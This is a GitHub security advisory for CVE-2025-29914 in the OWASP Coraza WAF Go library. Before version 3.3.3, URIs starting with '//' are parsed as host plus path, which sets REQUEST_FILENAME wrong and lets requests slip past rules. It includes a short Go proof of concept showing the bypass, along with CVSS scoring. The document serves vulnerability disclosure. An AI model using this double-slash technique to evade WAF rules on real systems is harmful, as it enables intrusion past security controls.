Skip to content

OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`

Moderate severity GitHub Reviewed Published Mar 20, 2025 in corazawaf/coraza • Updated Mar 20, 2025

Package

gomod github.com/corazawaf/coraza/v3 (Go)

Affected versions

< 3.3.3

Patched versions

3.3.3
gomod github.com/jptosso/coraza-waf (Go)
< 3.3.3
3.3.3

Description

Summary

URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME.
For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path).
//bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

package main

import (
	"fmt"
	"net/url"
	"os"

	"github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
	var testURL = "//bar/uploads/foo.php"

	if os.Getenv("TEST_URL") != "" {
		testURL = os.Getenv("TEST_URL")
	}

	fmt.Printf("Testing URL: %s\n", testURL)

	config := coraza.NewWAFConfig().WithDirectives(testRule)

	waf, err := coraza.NewWAF(config)

	if err != nil {
		panic(err)
	}

	tx := waf.NewTransaction()

	tx.ProcessURI(testURL, "GET", "HTTP/1.1")

	in := tx.ProcessRequestHeaders()

	if in != nil {
		fmt.Printf("%+v\n", in)
	}
}

Impact

Potential bypass of rules using REQUEST_FILENAME.

References

@fzipi fzipi published to corazawaf/coraza Mar 20, 2025
Published by the National Vulnerability Database Mar 20, 2025
Published to the GitHub Advisory Database Mar 20, 2025
Reviewed Mar 20, 2025
Last updated Mar 20, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(5th percentile)

Weaknesses

CVE ID

CVE-2025-29914

GHSA ID

GHSA-q9f5-625g-xm39

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.